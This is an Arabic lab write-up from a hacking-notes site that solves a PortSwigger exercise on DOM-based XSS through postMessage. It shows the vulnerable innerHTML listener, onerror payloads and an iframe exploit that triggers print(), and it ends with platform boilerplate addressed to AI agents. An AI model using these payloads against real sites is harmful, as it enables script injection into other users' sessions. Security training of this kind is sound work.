> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/dom/xss-dom-via-web-messages.md).

# XSS في DOM عبر رسائل الويب

### ثغرة XSS في DOM باستخدام رسائل الويب

استغل ثغرة XSS في DOM قائمة على رسائل الويب (`postMessage`) `print()` ليتم استدعاء الدالة في الصفحة المستهدفة عن طريق إرسال حمولة عبر الخادم المشغِّل.

#### السلوك الملحوظ (الشفرة المصدرية)

تستمع الصفحة إلى الرسائل المرسلة وتحقن المحتوى المستلم مباشرةً في `#ads` العنصر بدون تعقيم:

<pre class="language-html"><code class="lang-html"><strong>&#x3C;script>
</strong>   window.addEventListener('message', function(e) {
   document.getElementById('ads').innerHTML = e.data;
   })
&#x3C;/script>
</code></pre>

هذا يعني أن أي `e.data` يتم استلامه سيُعرض كـ HTML داخل `#ads`، مما يفتح الباب أمام ثغرة XSS في DOM إذا كان المهاجم قادرًا على إرسال رسالة مُتحكَّم بها.

<figure><img src="/files/34fedb189e47e4b6450163d075bb39b414c10749" alt=""><figcaption></figcaption></figure>

#### اختبارات تفاعلية (وحدة التحكم)

أمثلة على الرسائل المرسلة من وحدة تحكم الصفحة الأم / d

* رسالة نصية بسيطة

```javascript
window.parent.postMessage('هذه رسالة اختبار');
```

<figure><img src="/files/21673ff52ae082ea84cafe8f7482d33b4ebc139e" alt=""><figcaption></figcaption></figure>

* حقن HTML

```javascript
window.parent.postMessage('<h1>مرحبًا</h1>');
```

<figure><img src="/files/a32cd2d59ff697fdb8e3aacb67a4f4ece0a04ad6" alt="" width="490"><figcaption></figcaption></figure>

* اختبار التنبيه (XSS)

```jsx
window.parent.postMessage("<img src='0' onerror=alert(0)>");
```

<figure><img src="/files/411215a51705b0664466b1afb1aa88fef59275b7" alt=""><figcaption></figcaption></figure>

* تسبّب `print()` (عدسة المختبر)

```javascript
window.parent.postMessage("<img src='0' onerror=print()>");
```

<figure><img src="/files/b1c80d55e539eb392a6a862d6c107050c4b0634b" alt=""><figcaption></figcaption></figure>

#### استغلال عبر iframe على خادم الاستغلال

مثال على HTML المستضاف على خادمك والذي يحمّل الصفحة المستهدفة داخل iframe ثم يرسل الحمولة عند تحميل iframe:

```mathml
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('هذه رسالة اختبار', '*');">
</iframe>
```

<figure><img src="/files/6d307158ea875ac34cc08e79008fc4f6d05b56ac" alt=""><figcaption></figcaption></figure>

للتفعيل `print()` على الصفحة المستهدفة، أرسل الحمولة التي تحتوي على `img` باستخدام `onerror=print()`:

```html
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('<img src=0 onerror=print()>', '*');">
</iframe>
```

<figure><img src="/files/dcdae6e29a34b57ed207f6bfb2d46b7ebcb34d4c" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/dom/xss-dom-via-web-messages.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
